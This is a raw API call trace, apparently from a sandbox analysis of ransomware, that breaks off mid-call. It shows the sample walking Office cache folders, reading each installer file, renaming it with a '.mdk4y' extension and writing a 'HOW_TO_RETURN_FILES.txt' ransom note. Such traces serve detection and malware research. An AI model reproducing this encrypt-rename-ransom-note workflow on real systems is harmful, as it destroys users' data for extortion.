MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\ku") returned 63 [0081.315] AreFileApisANSI () returned 1 [0081.315] GetACP () returned 0x4e4 [0081.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0081.315] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.316] AreFileApisANSI () returned 1 [0081.316] GetACP () returned 0x4e4 [0081.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-002C-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0081.316] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.316] AreFileApisANSI () returned 1 [0081.316] GetACP () returned 0x4e4 [0081.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32MUI.msi", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32MUI.msiC-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 15 [0081.316] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.316] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815654600000) returned 1 [0081.316] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd5600, lpOverlapped=0x0) returned 1 [0081.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815682400000) returned 1 [0081.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815682400000) returned 1 [0081.601] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.mdk4y")) returned 1 [0081.602] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.602] AreFileApisANSI () returned 1 [0081.602] GetACP () returned 0x4e4 [0081.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office32MUI.xml", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Office32MUI.xml", lpUsedDefaultChar=0x37dfd8) returned 15 [0081.602] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815683200000) returned 1 [0081.602] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x567, lpOverlapped=0x0) returned 1 [0081.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815689400000) returned 1 [0081.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815689400000) returned 1 [0081.664] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.mdk4y")) returned 1 [0081.665] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.665] AreFileApisANSI () returned 1 [0081.665] GetACP () returned 0x4e4 [0081.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OWOW32LR.cab", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OWOW32LR.cabxml", lpUsedDefaultChar=0x37dfd8) returned 12 [0081.665] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815689500000) returned 1 [0081.665] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0081.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815707700000) returned 1 [0081.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815707700000) returned 1 [0081.905] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.mdk4y")) returned 1 [0081.906] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.906] AreFileApisANSI () returned 1 [0081.906] GetACP () returned 0x4e4 [0081.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlcab", lpUsedDefaultChar=0x37dfd8) returned 9 [0081.906] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815713600000) returned 1 [0081.906] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x93a, lpOverlapped=0x0) returned 1 [0081.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815720400000) returned 1 [0081.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815720400000) returned 1 [0081.974] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0081.975] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0081.975] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0081.975] AreFileApisANSI () returned 1 [0081.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0081.975] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0081.975] GetFileType (hFile=0x128) returned 0x1 [0081.976] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0081.976] AreFileApisANSI () returned 1 [0081.976] GetACP () returned 0x4e4 [0081.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0044-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0044-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0081.976] AreFileApisANSI () returned 1 [0081.976] GetACP () returned 0x4e4 [0081.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\kw") returned 63 [0081.978] AreFileApisANSI () returned 1 [0081.978] GetACP () returned 0x4e4 [0081.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0081.978] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.978] AreFileApisANSI () returned 1 [0081.978] GetACP () returned 0x4e4 [0081.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0043-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0081.978] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0081.978] AreFileApisANSI () returned 1 [0081.978] GetACP () returned 0x4e4 [0081.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfLR.cab", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="InfLR.cab00-0043-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 9 [0081.978] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0081.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815720800000) returned 1 [0081.978] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0082.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815736600000) returned 1 [0082.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815736600000) returned 1 [0082.336] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.mdk4y")) returned 1 [0082.336] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.336] AreFileApisANSI () returned 1 [0082.337] GetACP () returned 0x4e4 [0082.337] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathMUI.msi", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="InfoPathMUI.msi3-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 15 [0082.337] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815756700000) returned 1 [0082.337] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0082.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815767900000) returned 1 [0082.449] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815767900000) returned 1 [0082.457] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.mdk4y")) returned 1 [0082.458] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.458] AreFileApisANSI () returned 1 [0082.458] GetACP () returned 0x4e4 [0082.458] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathMUI.xml", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="InfoPathMUI.xml", lpUsedDefaultChar=0x37dfd8) returned 15 [0082.458] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815768800000) returned 1 [0082.458] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4cf, lpOverlapped=0x0) returned 1 [0082.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815774700000) returned 1 [0082.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815774700000) returned 1 [0082.517] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.mdk4y")) returned 1 [0082.518] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.518] AreFileApisANSI () returned 1 [0082.518] GetACP () returned 0x4e4 [0082.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xmlUI.xml", lpUsedDefaultChar=0x37dfd8) returned 9 [0082.518] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815774800000) returned 1 [0082.518] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x73c, lpOverlapped=0x0) returned 1 [0082.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815779200000) returned 1 [0082.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815779200000) returned 1 [0082.562] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0082.563] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 0 [0082.563] FindClose (in: hFindFile=0x6ab290 | out: hFindFile=0x6ab290) returned 1 [0082.563] AreFileApisANSI () returned 1 [0082.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aad08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0082.563] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0082.563] GetFileType (hFile=0x128) returned 0x1 [0082.564] FindNextFileW (in: hFindFile=0x6ab210, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0082.564] AreFileApisANSI () returned 1 [0082.564] GetACP () returned 0x4e4 [0082.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{90140000-0054-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="{90140000-0054-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x37e064) returned 40 [0082.564] AreFileApisANSI () returned 1 [0082.564] GetACP () returned 0x4e4 [0082.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=63, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\ky") returned 63 [0082.565] AreFileApisANSI () returned 1 [0082.565] GetACP () returned 0x4e4 [0082.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 1 [0082.565] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.565] AreFileApisANSI () returned 1 [0082.565] GetACP () returned 0x4e4 [0082.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 2 [0082.565] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.565] AreFileApisANSI () returned 1 [0082.565] GetACP () returned 0x4e4 [0082.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Setup.xml00-0044-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 9 [0082.565] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.566] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815779600000) returned 1 [0082.566] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1861, lpOverlapped=0x0) returned 1 [0082.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815785400000) returned 1 [0082.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815785400000) returned 1 [0082.625] MoveFileA (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.mdk4y" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.mdk4y")) returned 1 [0082.631] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6b6108 | out: lpFindFileData=0x6b6108) returned 1 [0082.631] AreFileApisANSI () returned 1 [0082.631] GetACP () returned 0x4e4 [0082.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisioLR.cab", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VisioLR.cab-0044-0409-1000-0000000FF1CE}-C\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37dfd8) returned 11 [0082.632] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0082.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815786200000) returned 1 [0082.632] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0082.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815792300000) returned 1 [0082.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1815792300000) returned 1 [0082.702] MoveFileA (lpExistingFileName="C:\\MSOCache\\All 